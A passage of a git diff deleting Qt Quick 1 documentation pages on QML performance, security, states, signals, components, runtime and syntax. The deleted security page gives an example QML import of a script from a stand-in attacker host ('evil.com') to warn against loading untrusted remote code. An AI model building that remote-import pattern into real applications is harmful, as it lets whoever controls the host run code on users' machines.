-Images on the local filesystem are usually loaded synchronously. This is usually -the desired behavior for user interface elements, however for large images that -do not necessarily need to be visible immediately, set the Image::asynchronous -property to true. This will load the image in a low priority thread. - -\section1 View Delegates - -Delegates must be created quickly as the view is flicked. There are two important -aspects to maintaining a smooth view: - -\list -\o Small delegates - keep the amount of QML to a minimum. Have just enough -QML in the delegate to display the necessary information. Any additional functionality -that is only needed when the delegate is clicked, for example, should be created by -a Loader as needed. -\o Fast data access - ensure the data model is as fast as possible. -\endlist - -\section1 Image resources over composition - -If possible, provide a single image resource, rather than using composition -of a number of elements. For example, a frame with a shadow could be created using -a Rectangle placed over an Image providing the shadow. It is more efficient to -provide an image that includes the frame and the shadow. - -\section1 Limit JavaScript - -Avoid running JavaScript during animation. For example, running a complex -JavaScript expression for each frame of an x property animation. - -\section1 Rendering - -Often using a different graphics system will give superior performance to the native -graphics system (this is especially the case on X11). This can be configured using -QApplication::setGraphicsSystem() or via the command line using the \c -graphicssystem -switch. - -You can enable OpenGL acceleration using the \c opengl graphics system, or by setting a -QGLWidget as the viewport of your QDeclarativeView. - -You may need to try various options to find what works the best for your application. -For embedded X11-based devices one recommended combination is to use the raster graphics -system with a QGLWidget for the viewport. While this doesn't guarantee the \bold fastest -performance for all use-cases, it typically has \bold{consistently good} performance for -all use-cases. In contrast, only using the raster paint engine may result in very good -performance for parts of your application and very poor performance elsewhere. - -The QML Viewer uses the raster graphics system by default for X11 and OS X. It also -includes a \c -opengl command line option which sets a QGLWidget as the viewport of the -view. On OS X, a QGLWidget is always used. - -You can also prevent QDeclarativeView from painting its window background if -you will provide the background of your application using QML, e.g. - -\code -QDeclarativeView window; -window.setAttribute(Qt::WA_OpaquePaintEvent); -window.setAttribute(Qt::WA_NoSystemBackground); -window.viewport()->setAttribute(Qt::WA_OpaquePaintEvent); -window.viewport()->setAttribute(Qt::WA_NoSystemBackground); -\endcode - -*/ diff --git a/doc/src/qtquick1/qdeclarativesecurity.qdoc b/doc/src/qtquick1/qdeclarativesecurity.qdoc deleted file mode 100644 index 05d06c8ea7..0000000000 --- a/doc/src/qtquick1/qdeclarativesecurity.qdoc +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativesecurity.html -\inqmlmodule QtQuick 1 -\title QML Security -\section1 QML Security - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 1.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \i Using \c import to import QML or JavaScript you do not control. BAD - \i Using \l Loader to import QML you do not control. BAD - \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \i Create \l Image elements with source URLs of any online images. GOOD - \i Use XmlListModel to present online content. GOOD - \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ diff --git a/doc/src/qtquick1/qdeclarativestates.qdoc b/doc/src/qtquick1/qdeclarativestates.qdoc deleted file mode 100644 index 1705600b84..0000000000 --- a/doc/src/qtquick1/qdeclarativestates.qdoc +++ /dev/null @@ -1,159 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativestates.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {Importing Reusable Components} -\nextpage {QML Animation and Transitions}{Animation and Transitions} -\target qmlstates -\title QML States - -\section1 States Elements -\list -\o \l State -\o \l PropertyChanges -\o \l StateGroup -\o \l StateChangeScript -\o \l ParentChange -\o \l AnchorChanges -\endlist - -Many user interface designs are \e state driven; interfaces have configurations -that differ depending on the current state. For example, a traffic signal will -configure its flags or lights depending on its state. While in the signal's -\c stop state, a red light will turn on while the yellow and the green lights -will turn off. In the \c caution state, the yellow light is on while the other -lights are turned off. - -In QML, \e states are a set of property configurations defined in a \l State -element. Different configurations could, for example: - -\list -\o Show some UI elements and hide others -\o Present different available actions to the user -\o Start, stop, or pause animations -\o Execute some script required in the new state -\o Change a property value for a particular item -\o Show a different view or screen -\endlist - -All \l {Item}-based objects have a \c state property, and can specify additional -states by adding new \c State objects to the item's \l {Item::}{states} -property. Each state within a component has a unique \c name, an empty string -being the default. To change the current state -of an item, set the \l {Item::}{state} property to the name of the state. - -Non-Item objects may use states through the \l StateGroup element. - -\section1 Creating States - -To create a state, add a \l State object to the item's \l {Item::}{states} property, -which holds a list of states for that item. - -A warning \c signal component may have two states, the \c NORMAL and the -\c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the -signal should be \c green and the warning \c flag is down. Meanwhile, in the -\c CRITICAL state, the \c color should be \c red and the flag is \c up. We may -model the states using the \c State element and the color and flag -configurations with the \c PropertyChanges element. -\snippet doc/src/snippets/declarative/states.qml signal states -The \l PropertyChanges element will change the values of object properties. -Objects are referenced through their \l {qml-id-property}{id}. Objects outside -the component are also referenced using the \c id property, exemplified by the -property change to the external \c flag object. - -Further, the state may change by assigning the \c state property with the -appropriate signal state. A state switch could be in a \l MouseArea element, -assigning a different state whenever the signal receives a mouse click. -\snippet doc/src/snippets/declarative/states.qml switch states - -The State element is not limited to performing modifications on property values. -It can also: -\list -\o Run some script using \l StateChangeScript -\o Override an existing signal handler for an object using \l PropertyChanges -\o Re-parent an \l Item using \l ParentChange -\o Modify anchor values using \l AnchorChanges -\endlist - -\section1 The Default State - -Every \l Item based component has a \c state property and a \e{default state}. -The default state is the empty string (\c{""}) and contains all of an item's -initial property values. The default state is useful for managing property -values before state changes. Setting the \c state property to an empty string -will load the default state. - -\section1 The \c when Property - -For convenience, the \l State element has a \c when property that can bind to -expressions to change the state whenever the bound expression evaluates to -\c true. The \c when property will revert the state back to the -\l {The Default State}{default state} when the expression evaluates to false. - -\snippet doc/src/snippets/declarative/states.qml when property -The \c bell component will change to the \c RINGING state whenever the -\c signal.state is \c CRITICAL. - -\section1 Animating State Changes - -State changes induce abrupt value changes. The \l Transition element allow -smoother changes during state changes. In transitions, animations and -interpolation behaviors are definable. The -\l {QML Animation and Transitions}{Animation and Transitions} article has more -information about creating state animations. - -The \l {declarative/animation/states}{States and Transitions example} -demonstrates how to declare a basic set of states and apply animated -transitions between them. - -\l{Using QML Behaviors with States} explains a common problem when using Behaviors -to animate state changes. - -\section1 State Fast Forwarding - -In order for Transition to correctly animate state changes, it is sometimes necessary -for the engine to fast forward and rewind a state (that is, internally set and unset the state) -before it is finally applied. The process is as follows: - -\list 1 -\o The state is fast forwarded to determine the complete set of end values. -\o The state is rewound. -\o The state is fully applied, with transitions. -\endlist - -In some cases this may cause unintended behavior. For example, a state that changes -a view's \i model or a Loader's \i sourceComponent will set these properties -multiple times (to apply, rewind, and then reapply), which can be relatively expensive. - -State fast forwarding should be considered an implementation detail, -and may change in later versions. - -*/ diff --git a/doc/src/qtquick1/qmlevents.qdoc b/doc/src/qtquick1/qmlevents.qdoc deleted file mode 100644 index f23201c26f..0000000000 --- a/doc/src/qtquick1/qmlevents.qdoc +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlevents.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {Keyboard Focus in QML}{Keyboard Focus} -\nextpage Importing Reusable Components - -\title QML Signal and Handler Event System - -QML utilizes Qt's \l{The Meta-Object System}{meta-object} and -\l{Signals & Slots}{signals} systems. Signals and slots created using Qt in C++ -are inheritely valid in QML. - -\keyword qml-signals-and-handlers -\section1 Signals and Handlers - -Signals provide a way to notify other objects when an event has occurred. For -example, the MouseArea \c clicked signal notifies other objects that the mouse -has been clicked within the area. - -The syntax for defining a new signal is: - -\tt{signal [([ [, ...]])]} - -Attempting to declare two signals or methods with the same name in the same type -block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) - -Here are various examples of signal declarations: -\snippet doc/src/snippets/declarative/events.qml parent begin -\snippet doc/src/snippets/declarative/events.qml signal declaration -\snippet doc/src/snippets/declarative/events.qml parent end - -If the signal has no parameters, the "\c{()}" brackets are optional. If -parameters are used, the parameter types must be declared, as for the \c string -and \c variant arguments of the \c perform signal. - -Adding a signal to an item automatically adds a \e{signal handler} as well. The -signal hander is named \c on, with the first letter of the signal in -uppercase. The previous signals have the following signal handlers: -\snippet doc/src/snippets/declarative/events.qml signal handler declaration - -Further, each QML properties have a \c{Changed} signal and its -corresponding \c{onChanged} signal handler. As a result, property -changes may notify other components for any changes. -\snippet doc/src/snippets/declarative/events.qml automatic signals - -To emit a signal, invoke it as a method. The signal handler binding is similar -to a property binding and it is invoked when the signal is emitted. Use the -defined argument names to access the respective arguments. -\snippet doc/src/snippets/declarative/events.qml signal emit -Note that the \c Component.onCompleted is an -\l{attached-signalhandlers}{attached signal handler}; it is invoked when the -\l Component initialization is complete. - -\keyword qml-connect-signals-to-method -\section2 Connecting Signals to Methods and Signals - -Signal objects have a \c connect() method to a connect a signal either to a -method or another signal. When a signal is connected to a method, the method is -automatically invoked whenever the signal is emitted. (In Qt terminology, the -method is a \e slot that is connected to the \e signal; all methods defined in -QML are created as \l{Signals & Slots}{Qt slots}.) This enables a signal -to be received by a method instead of a \l {Signal Handlers}{signal handler}. - -\snippet doc/src/snippets/declarative/events.qml connect method -The \c {connect()} method is appropriate when connecting a JavaScript method to -a signal. - -There is a corresponding \c disconnect() method for removing connected -signals. - -\section3 Signal to Signal Connect - -By connecting signals to other signals, the \c connect() method can form different -signal chains. -\snippet doc/src/snippets/declarative/events.qml forward signal - - -Whenever the \l MouseArea \c clicked signal is emitted, the \c send -signal will automatically be emitted as well. - -\code -output: - MouseArea clicked - Send clicked -\endcode - -\section1 C++ Additions - -Because QML uses Qt, a signal defined in C++ also works as a QML signal. The -signal may be emitted in QML code or called as a method. In addition, the QML -runtime automatically creates signal handlers for the C++ signals. For more -signal control, the \c connect() method and the \l Connections element may connect -a C++ signal to another signal or method. - -For complete information on how to call C++ functions in QML, read the -\l{Extending QML - Signal Support Example}. - - -*/ diff --git a/doc/src/qtquick1/qmlinuse.qdoc b/doc/src/qtquick1/qmlinuse.qdoc deleted file mode 100644 index 99c3b90489..0000000000 --- a/doc/src/qtquick1/qmlinuse.qdoc +++ /dev/null @@ -1,500 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlinuse.html -\inqmlmodule QtQuick 1 -\title Using QML elements - -\raw HTML -
- -
-

- Groups Of Related QML Elements

-

- QML Elements are grouped by their respective functionalities. Certain elements are - suited for building complex components while other elements strictly dictate appearances - and color.

-
-
-

- add something about elements in use in general

-
-
- -
-
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

Basic QML Elements

-

- Basic elements can be extended to form more complex elements.

- Elements: -
    -
  • Item Element - - The Item is the most basic of all visual items in QML. Many visual elements inherit - properties from the Item element.
  • -
  • Component Element - - The Component element encapsulates a QML component definition.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Visual Elements

-

- Visual elements offer various interactive and graphical functionalities. Visual - elements can directly set properties that dictate appearances.

- Elements: - -
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Animation and Transition Elements

-

- Animation and transition elements control animation behaviors. Animations can run - in parallel or in series for different value types. -

- Elements: - -
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Interaction Elements

-

- These elements define basic interactions such as touch movements and focus management.

- Elements: -
    -
  • Flickable Element - The Flickable item provides a surface that can be "flicked".
  • -
  • Flipable Element - The Flipable item provides a surface that can be flipped or reflected.
  • -
  • FocusPanel Element - The FocusPanel item explicitly creates a focus panel.
  • -
  • FocusScope Element - The FocusScope object explicitly creates a focus scope for focus management.
  • -
  • PinchArea Element - The PinchArea item enables simple pinch gesture handling.
  • -
  • KeyNavigation Element - The KeyNavigation attached property supports key navigation by arrow keys.
  • -
  • Keys Element - The Keys attached property provides key handling to Items.
  • -
  • MouseArea Element - The MouseArea item enables simple mouse handling.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Event Elements

-

- Key and mouse events information are provided in these event elements.

- Elements: -
    -
  • KeyEvent Element - The KeyEvent - object provides information about a key event.
  • -
  • MouseEvent Element - The MouseEvent - object provides information about a mouse event.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Positioning Elements

-

- Using positioning elements, layouts can be defined and their children accessed through - an index.

- Elements: -
    -
  • Column Element - The Column - item arranges its children vertically.
  • -
  • Flow Element - The Flow item - arranges its children side by side, wrapping as necessary.
  • -
  • Grid Element - The Grid item - positions its children in a grid.
  • -
  • Row Element - The Row item - arranges its children horizontally.
  • -
  • Repeater Element - The Repeater element allows you to repeat an Item-based component using a model.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
- -

QML State Elements

-

- States and groups of states are formed using state elements.

- Elements: -
    -
  • AnchorChanges Element - The AnchorChanges element allows you to change the anchors of an item in a state.
  • -
  • ParentChange Element - The ParentChange element allows you to reparent an Item in a state change.
  • -
  • PropertyChanges Element - The PropertyChanges element describes new property bindings or values for a state.
  • -
  • State Element - The State - element defines configurations of objects and properties.
  • -
  • StateChangeScript Element - The StateChangeScript element allows you to run a script in a state.
  • -
  • StateGroup Element - The StateGroup element provides state support for non-Item elements.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Transform Elements

-

- Advanced handling of transformations is controlled in transform elements.

- Elements: -
    -
  • Rotation Element - The Rotation object provides a way to rotate an Item.
  • -
  • Scale Element - The Scale element provides a way to scale an Item.
  • -
  • Transform Element - The Transform element provide a way of building advanced transformations on Items.
  • -
  • Translate Element - The Translate object provides a way to move an Item without changing its x or y properties.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

QML Utility Elements

-

- These elements handle assorted operations such as event timing, Qt enumerations, - and font loading.

- Elements: -
    -
  • Binding Element - The Binding element allows arbitrary property bindings to be created.
  • -
  • Connections Element - A Connections element describes generalized connections to signals.
  • -
  • DoubleValidator Element - Provides a validator for non-integer numbers.
  • -
  • FontLoader Element - The FontLoader element allows fonts to be loaded by name or URL.
  • -
  • IntValidator Element - This element provides a validator for integer values.
  • -
  • LayoutItem Element - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.
  • -
  • Loader Element - The Loader item allows dynamically loading an Item-based subtree from a URL or Component.
  • -
  • Package Element - Package provides a bundle for shared contexts in multiple views.
  • -
  • Qt Element - The QML global Qt object provides useful enums and functions from Qt.
  • -
  • QtObject Element - The QtObject element is the most basic element in QML.
  • -
  • RegExpValidator Element - This element provides a validator for regular expressions.
  • -
  • SystemPalette Element - The SystemPalette element provides access to the Qt palettes.
  • -
  • Timer Element - The Timer item triggers a handler at a specified interval.
  • -
  • WorkerScript Element - The WorkerScript element enables the use of threads in QML.
  • -
-
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

Models and View Elements

-

- Models and views are used to organize data and control their layouts using delegates. - Models dictate the data formation and views control the layouts of data in the model.

- View Elements: -
    -
  • GridView Element - The GridView item provides a grid view of items provided by a model.
  • -
  • ListView Element - The ListView item provides a list view of items provided by a model.
  • -
  • PathView Element - The PathView element lays out model-provided items on a path.
  • -
  • WebView Element - The WebView item allows you to add Web content to a canvas.
  • -
- Model Elements: - -
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

Paths

-

- QML components can be arranged along paths. Path elements allow control over different - path types.

- Elements: - -
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

Particle Elements

-

- Particle effects are declared and controlled using particle elements.

- Elements: - -
-
- -
-
-
-
- -

- image heading

- -

- img descr.

-
- -
-
-

Bridge Elements

-

- Bridge elements allow direct communication between C++ and QML entities.

- Elements: -
    -
  • LayoutItem Element - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.
  • -
-
-
- -\endraw - - - -*/ - diff --git a/doc/src/qtquick1/qmlreusablecomponents.qdoc b/doc/src/qtquick1/qmlreusablecomponents.qdoc deleted file mode 100644 index 2e4077f367..0000000000 --- a/doc/src/qtquick1/qmlreusablecomponents.qdoc +++ /dev/null @@ -1,161 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlreusablecomponents.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\previouspage {QML Signal and Handler Event System}{Signal and Handler Event System} -\nextpage {QML States}{States} -\contentspage QML Features - -\title Importing Reusable Components - -A \e component is an instantiable QML definition, typically contained in a -\c .qml file. For instance, a Button \e component may be defined in -\c Button.qml. The QML runtime may instantiate this Button component to create -Button \e objects. Alternatively, a component may be defined inside a -\l Component element. - -Moreover, the Button definition may also contain other components. A Button -component could use a Text element for its label and other components to -implement its functions. Compounding components to form new components -(and effectively new interfaces) is the emphasis in QML. - -\keyword qml-define-components -\section1 Defining New Components - -Any snippet of QML code may become a component, by placing the code in a QML -file (extension is \c .qml). A complete Button component that responds to user -input may be in a Button.qml file. -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml document - -Alternatively, a \l Component element may encapsulate a QML object to form a -component. -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent begin -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent end - -\keyword qml-loading-components -\section1 Loading a Component - -The initialization of inline components is different from loading a component -from a \c .qml file. - -\section2 Importing a Component - -A component defined in a \c .qml file is directly usable by declaring the name -of the component. For example, a button defined in \c Button.qml is created by -declaring a \c Button. The button is defined in the -\l {qml-define-components}{Defining New Components} section. -\snippet doc/src/snippets/declarative/reusablecomponents/application.qml document - -Note that the component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. - -For flexibility, a \c qmldir file is for dictating which additional components, -plugins, or directories should be imported. By using a \c qmldir file, -component names do not need to match the filenames. The \c qmldir file should, -however, be in an imported path. -\snippet doc/src/snippets/declarative/reusablecomponents/qmldir document - -\section2 Loading an Inline Component - -A consequence of inline components is that initialization may be deferred or -delayed. A component may be created during a MouseArea event or by using a -\l Loader element. The component can create an object, which is addressable in a -similar way as an \l {qml-id-property}{id property}. Thus, the created object may -have its bindings set and read like a normal QML object. -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml create inline component - -\keyword qml-component-properties -\section1 Component Properties - -Initializing a component, either from a .qml file or initializing an inline -component, have several properties to facilitate component execution. -Specifically, there are \l{attached-properties}{attached properties} and -\l{attached-signalhandlers}{attached signal handlers} for setting properties -during the lifetime of a component. - -The \c{Component.onCompleted} attached signal handler is called when the -component completes initialization. It is useful for executing any commands -after component initialization. Similarly, the \c{Component.onDestruction} -signal handler executes when the component finishes destruction. - -\keyword qml-top-level -\section1 Top-Level Component - -Choosing the \e{top-level} or the \e{root} object of components is an important -design aspect because the top-level object dictates which properties are -accessible outside the component. Some elements are not visual elements and -will not have visual properties exposed outside the component. Likewise, some -elements add functionality that are not available to visual elements. - -Consider the Button component from the -\l{qml-define-components}{Defining New Components} section; it's top-level -object is a \l Rectangle. When imported, the Button component will possess the -Rectangle's properties, methods, signals, and any custom properties. - -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml properties -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end - -The Button's \c text alias is accessible from outside the component as well as -the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, -and \c states. - -Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our -top-level object. The \l FocusScope element manage keyboard focus for its -children which is beneficial for certain types of interfaces. However, since -\c FocusScopes are not visual elements, the visual properties of its child need -to be exposed. - -\snippet doc/src/snippets/declarative/reusablecomponents/focusbutton.qml document - -\section2 Child Components - -Objects or Items declared within a component can be made accessible by binding their id to a -property alias. - -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml object alias -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml text -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end - -The advantage of using an alias instead a property of type of the object is that the value of -the alias cannot be overridden, and members of the object can be used in property bindings when -declaring an instance of the component. -\snippet doc/src/snippets/declarative/reusablecomponents/application.qml grouped property -If a property of type \c Text was used instead of an alias in this instance there would be no -guarantee that \c label would be initialized before the binding was attempted which would cause -the binding to fail. -*/ diff --git a/doc/src/qtquick1/qmlruntime.qdoc b/doc/src/qtquick1/qmlruntime.qdoc deleted file mode 100644 index 7f2614822e..0000000000 --- a/doc/src/qtquick1/qmlruntime.qdoc +++ /dev/null @@ -1,145 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlruntime.html -\inqmlmodule QtQuick 1 -\title Qt Declarative UI Runtime - -QML documents are loaded and executed by the QML runtime. This includes the -Declarative UI engine along with the built-in QML elements and plugin modules, -and it also provides access to third-party QML elements and modules. - -Applications that use QML need to invoke the QML runtime in order to -execute QML documents. This can be done by creating a QDeclarativeView -or a QDeclarativeEngine, as described below. In addition, the Declarative UI -package includes the \QQV tool, which loads \c .qml files. This tool is -useful for developing and testing QML code without the need to write -a C++ application to load the QML runtime. - - - -\section1 Deploying QML-based applications - -To deploy an application that uses QML, the QML runtime must be invoked by -the application. This is done by writing a Qt C++ application that loads the -QDeclarativeEngine by either: - -\list -\o Loading the QML file through a QDeclarativeView instance, or -\o Creating a QDeclarativeEngine instance and loading QML files with QDeclarativeComponent -\endlist - - -\section2 Deploying with QDeclarativeView - -QDeclarativeView is a QWidget-based class that is able to load QML files. -For example, if there is a QML file, \c application.qml, like this: - -\qml - import QtQuick 1.0 - - Rectangle { width: 100; height: 100; color: "red" } -\endqml - -It can be loaded in a Qt application's \c main.cpp file like this: - -\code - #include - #include - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("application.qml")); - view.show(); - - return app.exec(); - } -\endcode - -This creates a QWidget-based view that displays the contents of -\c application.qml. - -The application's \c .pro \l{qmake Project Files}{project file} must specify -the \c declarative module for the \c QT variable. For example: - -\code - TEMPLATE += app - QT += gui declarative - SOURCES += main.cpp -\endcode - - -\section2 Creating a QDeclarativeEngine directly - -If \c application.qml does not have any graphical components, or if it is -preferred to avoid QDeclarativeView for other reasons, the QDeclarativeEngine -can be constructed directly instead. In this case, \c application.qml is -loaded as a QDeclarativeComponent instance rather than placed into a view: - -\code - #include - #include - #include - #include - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QDeclarativeEngine engine; - QDeclarativeContext *objectContext = new QDeclarativeContext(engine.rootContext()); - - QDeclarativeComponent component(&engine, "application.qml"); - QObject *object = component.create(objectContext); - - // ... delete object and objectContext when necessary - - return app.exec(); - } -\endcode - -See \l {Using QML Bindings in C++ Applications} for more information about using -QDeclarativeEngine, QDeclarativeContext and QDeclarativeComponent, as well -as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}. - - - -\section1 Developing and prototyping with QML Viewer - -The Declarative UI package includes a QML runtime tool, the \QQV, which loads -and displays QML documents. This is useful during the application development -phase for prototyping QML-based applications without writing your own C++ -applications to invoke the QML runtime. - -See the \l{QML Viewer} documentation for more details. - -*/ - diff --git a/doc/src/qtquick1/qmlsyntax.qdoc b/doc/src/qtquick1/qmlsyntax.qdoc deleted file mode 100644 index 01b7fcd2f5..0000000000 --- a/doc/src/qtquick1/qmlsyntax.qdoc +++ /dev/null @@ -1,156 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlsyntax.html -\inqmlmodule QtQuick 1 -\title QML Syntax -\ingroup QML Reference -\contentspage QML Reference - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (\l{Javascript Guide}) before diving -deeper into QML. - -\section1 Basic QML Syntax - -QML looks like this: - -\code -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endcode - -Objects are specified by their type, followed by a pair of braces. Object -types always begin with a capital letter. In the above example, there are -two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify -information about the object, such as its properties. - -Properties are specified as \c {propertyname: value}. In the above example, we -can see the Image has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\code -Rectangle { - width: 100 - height: 100 -} -\endcode - -or you can put multiple properties on a single line: - -\code -Rectangle { width: 100; height: 100 } -\endcode - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all 